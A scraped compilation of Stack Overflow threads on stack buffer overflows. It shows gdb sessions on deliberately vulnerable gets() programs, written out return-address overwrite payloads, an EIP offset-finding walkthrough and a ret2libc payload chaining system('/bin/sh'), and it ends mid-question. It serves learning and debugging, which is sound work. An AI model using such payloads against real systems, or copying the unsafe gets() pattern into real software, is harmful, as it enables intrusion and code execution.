stack overflow (shellcoders handbook) - c

I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2

I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.

This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.

Related

Overwrite EIP in the main function

I'm curious about how overwriting the stack is different in the main function than in other functions
Take this example:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[8];
gets(buf);
}
In this code, the buffer to be overflowed is created in the main function, and as a result I receive this output from gdb after entering in a lot of 'A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5655620c in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) info registers eip
eip 0x5655620c 0x5655620c <main+63>
Disassembly for main:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: lea ecx,[esp+0x4]
0x000011d5 <+8>: and esp,0xfffffff0
0x000011d8 <+11>: push DWORD PTR [ecx-0x4]
0x000011db <+14>: push ebp
0x000011dc <+15>: mov ebp,esp
0x000011de <+17>: push ebx
0x000011df <+18>: push ecx
0x000011e0 <+19>: sub esp,0x10
0x000011e3 <+22>: call 0x120d <__x86.get_pc_thunk.ax>
0x000011e8 <+27>: add eax,0x2df0
0x000011ed <+32>: sub esp,0xc
0x000011f0 <+35>: lea edx,[ebp-0x10]
0x000011f3 <+38>: push edx
0x000011f4 <+39>: mov ebx,eax
0x000011f6 <+41>: call 0x1070 <gets#plt>
0x000011fb <+46>: add esp,0x10
0x000011fe <+49>: mov eax,0x0
0x00001203 <+54>: lea esp,[ebp-0x8]
0x00001206 <+57>: pop ecx
0x00001207 <+58>: pop ebx
0x00001208 <+59>: pop ebp
0x00001209 <+60>: lea esp,[ecx-0x4]
0x0000120c <+63>: ret
Here, the EIP register was not overwritten and apparently gdb cannot access memory at an overwritten address.
Whereas in this example where the buffer stuff is written in another function:
#include <stdio.h>
void over() {
char buf[8];
gets(buf);
}
int main(int argc, char *argv[])
{
over();
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141
Disassembly for main:
0x000011f9 <+0>: endbr32
0x000011fd <+4>: push ebp
0x000011fe <+5>: mov ebp,esp
0x00001200 <+7>: and esp,0xfffffff0
0x00001203 <+10>: call 0x1219 <__x86.get_pc_thunk.ax>
0x00001208 <+15>: add eax,0x2dd0
0x0000120d <+20>: call 0x11cd <over>
0x00001212 <+25>: mov eax,0x0
0x00001217 <+30>: leave
0x00001218 <+31>: ret
Disassembly for over:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: push ebp
0x000011d2 <+5>: mov ebp,esp
0x000011d4 <+7>: push ebx
0x000011d5 <+8>: sub esp,0x14
0x000011d8 <+11>: call 0x1219 <__x86.get_pc_thunk.ax>
0x000011dd <+16>: add eax,0x2dfb
0x000011e2 <+21>: sub esp,0xc
0x000011e5 <+24>: lea edx,[ebp-0x10]
0x000011e8 <+27>: push edx
0x000011e9 <+28>: mov ebx,eax
0x000011eb <+30>: call 0x1070 <gets#plt>
0x000011f0 <+35>: add esp,0x10
0x000011f3 <+38>: nop
0x000011f4 <+39>: mov ebx,DWORD PTR [ebp-0x4]
0x000011f7 <+42>: leave
0x000011f8 <+43>: ret
A slightly different message is provided and the EIP is overwritten
Why does this make a difference? Why is the EIP not overwritten when the buffer is created in the main function?
I am using: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
And compiled with: gcc -m32 -g -fno-stack-protector source.c -o vuln -z execstack
The difference is pretty arbitrary. The exact prologue/epilogue instruction sequence generated by GCC is different for over() in the second example than it is for main() in the first example. So it crashes it a very different way, from a debugger's point of view. After single-stepping in GDB, you can see why, and I have just killed some time doing so.
The stack is thoroughly corrupt upon returning from gets(), so all bets are off, but anyway, here goes. I run the first example, setting a breakpoint immediately after returning from the call to gets():
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) b *0x08048448
Breakpoint 1 at 0x8048448: file source.c, line 6.
(gdb)
Now continue to enter some garbage, hit the breakpoint, and start single-stepping:
(gdb) r
Starting program: /home/lstrand/tmp/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
6 gets(buf);
(gdb) disassemble
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
=> 0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) bt
#0 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) stepi
0x0804844b 6 gets(buf);
(gdb)
7 }
(gdb)
0x08048453 7 }
(gdb)
0x08048454 7 }
(gdb)
0x08048457 7 }
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) bt
#0 0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x8048457 0x8048457 <main+44>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Here, we die on the ret instruction in main() because the stack pointer esp has the bad value 0x4141413d. GDB correctly pinpoints the failing instruction as being in main().
But what happens in the over() case? Let's take a look:
lstrand#styx:~/tmp$ gdb ./vuln2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln2...done.
(gdb) disassemble over
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) b *0x0804843d
Breakpoint 1 at 0x804843d: file source2.c, line 5.
(gdb) r
Starting program: /home/lstrand/tmp/vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Breakpoint 1, 0x0804843d in over () at source2.c:5
5 gets(buf);
(gdb) disassemble
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
=> 0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd180 0xffffd180
ebp 0xffffd1a8 0xffffd1a8
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x804843d 0x804843d <over+18>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
6 }
(gdb)
0x08048441 6 }
(gdb)
0x08048442 6 }
(gdb) stepi
0x41414141 in ?? ()
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd1b0 0xffffd1b0
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Note the subtle difference here. In this case, the epilogue code unwinds %esp with simple arithetic: "add $0x10,%esp" (as opposed to restoring it from the stack, as in the first case). The 'leave' instruction puts garbage into the frame pointer %ebp, but the new %esp value obtained from %ebp is still valid. Then the ret instruction sucessfully executes, leaving us a bad ip, 0x41414141. And then the program dies with SIGSEGV trying to read an instruction from nowhere.
In this case, GDB has no hope of unwinding the stack:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0xf7006141 in ?? ()
#6 0xf7fa4000 in ?? () from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb)
Recall in the first case, the program died on the ret instruction itself because %esp was already bad. In the first case GDB can still find where the program is, but in the second case it cannot.

ret2libc segfault at address 0x0000000000000000

I performed ret2libc but ended in segfault in 0x0000000000000000. The vulnerable proagram is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
return 1;
}
The disassembly from gdb is
(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>: push rbp
0x000055555555516e <+1>: mov rbp,rsp
0x0000555555555171 <+4>: mov eax,0x0
0x0000555555555176 <+9>: call 0x555555555145 <get>
0x000055555555517b <+14>: lea rdi,[rip+0xe82] # 0x555555556004
0x0000555555555182 <+21>: call 0x555555555030 <puts#plt>
0x0000555555555187 <+26>: mov eax,0x1
0x000055555555518c <+31>: pop rbp
0x000055555555518d <+32>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>: push rbp
0x0000555555555146 <+1>: mov rbp,rsp
0x0000555555555149 <+4>: sub rsp,0x10
0x000055555555514d <+8>: lea rax,[rbp-0xa]
0x0000555555555151 <+12>: mov rdi,rax
0x0000555555555154 <+15>: mov eax,0x0
0x0000555555555159 <+20>: call 0x555555555040 <gets#plt>
0x000055555555515e <+25>: lea rax,[rbp-0xa]
0x0000555555555162 <+29>: mov rdi,rax
0x0000555555555165 <+32>: call 0x555555555030 <puts#plt>
0x000055555555516a <+37>: nop
0x000055555555516b <+38>: leave
0x000055555555516c <+39>: ret
End of assembler dump.
I used radare2 to find the gadget pop rdi;ret which is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac and system() is located at 0x7ffff7e3f8a0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Breakpoint 1, main () at exploit.c:12
12 get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
The registers are
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffde88 140737488346760
rdi 0x2 2
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1b8 0x7fffffffe1b8
r8 0x0 0
r9 0x0 0
r10 0x8 8
r11 0x246 582
r12 0x555555555060 93824992235616
r13 0x7fffffffe280 140737488347776
r14 0x0 0
r15 0x0 0
rip 0x0 0x0
eflags 0x10216 [ PF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c. Also I disabled aslr manually.
Why did it end in segfault?
The message
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
means that your program has jumped to address 0 (that is, the %pc is 0), which is an invalid address. This is probably due to executing a ret instruction when the value on the top of the stack is 0.
You also see the message
[Detaching after vfork from child process 2964]
which likely means the system function is being called, but for whatever reason is not doing what you expect it to do.
To debug this sort of thing, you need to carefully step through the code one instruction at a time using si commmand (and occasional ni to skip over calls)

Why cannot gdb access memory of ret instruction?

every call in asm, causes that instruction pushes return value, so once ret is called, the program knows where to continue. So I would like to examine the address upon which ret is called:
having this:
#include <stdio.h>
int main()
{
printf("a=%d; b=%d; c=%d", 1, 2, 3);
return 0;
}
I use gdb:
(gdb) b printf
+b printf
Breakpoint 1 at 0x1030
(gdb) run
+run
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d")
at printf.c:28
28 printf.c: No such file or directory.
(gdb) x/10x $rsp
+x/10x $rsp
0x7fffffffdc28: 0x55555159 0x00005555 0x55555160 0x00005555
0x7fffffffdc38: 0xf7e1c09b 0x00007fff 0x00000000 0x00000000
0x7fffffffdc48: 0xffffdd18 0x00007fff
(gdb) x/i 0x55555159
+x/i 0x55555159
0x55555159: Cannot access memory at address 0x55555159
(gdb)
Here I am trying to read instruction from return address, but somehow cannot access that address. Why, when it should be valid address for ret?
As Eric Postpischil commented, you are only examining half of the return address, which 64-bit on x86_64.
Using your program:
(gdb) b printf
Breakpoint 1 at 0x1030
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
28 printf.c: No such file or directory.
(gdb) bt
#0 __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
#1 0x0000555555555159 in main () at t.c:4
This shows that the return address we expect to find on the stack is 0x0000555555555159. Indeed, that is exactly the address #$rsp:
(gdb) x/gx $rsp
0x7fffffffdbd8: 0x0000555555555159
To see the instruction at that address:
(gdb) x/i 0x0000555555555159
0x555555555159 <main+36>: mov $0x0,%eax
You can also disassemble the whole main to see where you are and where you are going to return:
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555135 <+0>: push %rbp
0x0000555555555136 <+1>: mov %rsp,%rbp
0x0000555555555139 <+4>: mov $0x3,%ecx
0x000055555555513e <+9>: mov $0x2,%edx
0x0000555555555143 <+14>: mov $0x1,%esi
0x0000555555555148 <+19>: lea 0xeb5(%rip),%rdi # 0x555555556004
0x000055555555514f <+26>: mov $0x0,%eax
0x0000555555555154 <+31>: callq 0x555555555030 <printf#plt>
0x0000555555555159 <+36>: mov $0x0,%eax
0x000055555555515e <+41>: pop %rbp
0x000055555555515f <+42>: retq
End of assembler dump.
As you can see, the instruction that printf will return to is indeed at address 0x0000555555555159.

Strange behavior in AMD64 Instruction pointer

I was reading Hacking: The Art of Exploitation by Jon Erickson, and followed the example in the book in my Kali Linux system (64 bit).
I wrote a simple C program:
#include<stdio.h>
int main()
{
int i;
for(i=0;i<10;i++)
{
printf("Hello");
}
}
After using objdump and gdb to examine the executable, I found something strange.
As the picture shows, the main function was in the "0x000000000000063a".
But the breakpoint info after the gdb "run" command, it seems that the program stopped at 63e rather than 63a.
Another peculiar thing is that the value in the instruction pointer (rip) was 0x55555555463e.
Shouldn't it be 0x000000000000063a?
Where do those 5s come from?
GDB sets breakpoints on useful code for a function if you don't set an asterisk. It omits all preparation for a function(prologue). To make it clear try to debug the following code:
#include <stdio.h>
int main()
{
int i=10;
i++;
return 0;
}
Gdb session:
(gdb) b main
Breakpoint 1 at 0x80483e1
(gdb) b *main
Breakpoint 2 at 0x80483db
(gdb) r
Starting program: /home/src/main
Breakpoint 2, 0x080483db in main ()
(gdb) disas
Dump of assembler code for function main:
=> 0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
0x080483e1 <+6>: mov DWORD PTR [ebp-0x4],0xa
0x080483e8 <+13>: add DWORD PTR [ebp-0x4],0x1
0x080483ec <+17>: mov eax,0x0
0x080483f1 <+22>: leave
0x080483f2 <+23>: ret
End of assembler dump.
(gdb) c
Continuing.
Breakpoint 1, 0x080483e1 in main ()
(gdb) disas
Dump of assembler code for function main:
0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
=> 0x080483e1 <+6>: mov DWORD PTR [ebp-0x4],0xa
0x080483e8 <+13>: add DWORD PTR [ebp-0x4],0x1
0x080483ec <+17>: mov eax,0x0
0x080483f1 <+22>: leave
0x080483f2 <+23>: ret
End of assembler dump.
in this case, preparation to execute useful code of the function is :
0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
first instruction in main:
int i=10;
compiled into:
mov DWORD PTR [ebp-0x4],0xa
GDB set a breakpoint on the instruction, when we give the command b main
But if we use the command with an asterisk(pointer) b *main we set a breakpoint on the actual address of the function(on first instruction of prologue).
In OP case, if we set breakpoint by break *main and then run, the instruction pointer register(rip) will have the value 0x55555555463a

stack , esp register

I copy this code from a book. In every comment I put a number and then ask you question(1,2,3,4) related to lines of code commented by that number. Hope its ok.
1) ESP points to these buffer values. WHY dont we see a 0x41 for ´A´ over here ????
2) ESP points to flag variable memory that must contain 31337 which is 0x7a69 in hex. WHY DOES IT INSTEAD CONTAIN THIS NUMBER 0xbffff89c ???
3) Points to previous stack frame pointer, which is this case contains a correct address.
4) Return address. Also correct.
5) Arguments. Also correct values.
So what happens in 1) and 2)? Is it padding?
Thank u very much.
void test_function(int a, int b, int c, int d) {
int flag;
char buffer[10];
flag = 31337;
buffer[0] = 'A';
}
int main() {
test_function(1, 2, 3, 4);
}
GDB debug session
Breakpoint 2, test_function (a=1, b=2, c=3, d=4) at stack_example.c:5
5 flag = 31337;
(gdb) i r esp ebp eip
esp 0xbffff7c0 0xbffff7c0
ebp 0xbffff7e8 0xbffff7e8
eip 0x804834a 0x804834a <test_function+6>
(gdb) disass test_function
Dump of assembler code for function test_function:
0x08048344 <test_function+0>: push ebp
0x08048345 <test_function+1>: mov ebp,esp
0x08048347 <test_function+3>: sub esp,0x28
0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69
0x08048351 <test_function+13>: mov BYTE PTR [ebp-40],0x41
0x08048355 <test_function+17>: leave
0x08048356 <test_function+18>: ret
End of assembler dump.
(gdb) print $ebp-12
$1 = (void *) 0xbffff7dc
(gdb) print $ebp-40
$2 = (void *) 0xbffff7c0
(gdb) x/16xw $esp
0xbffff7c0: 0x00000000 0x08049548 0xbffff7d8 0x08048249 // 1
0xbffff7d0: 0xb7f9f729 0xb7fd6ff4 0xbffff808 0x080483b9 // 1
0xbffff7e0: 0xb7fd6ff4 // 1
0xbffff89c // 2
0xbffff808 // 3
0x0804838b // 4
0xbffff7f0: // 4
0x00000001 0x00000002 0x00000003 0x00000004 // 5
reader#hacking:~/booksrc $ gcc -g stack_example.c
reader#hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main():
0x08048357 <main+0>: push ebp
0x08048358 <main+1>: mov ebp,esp
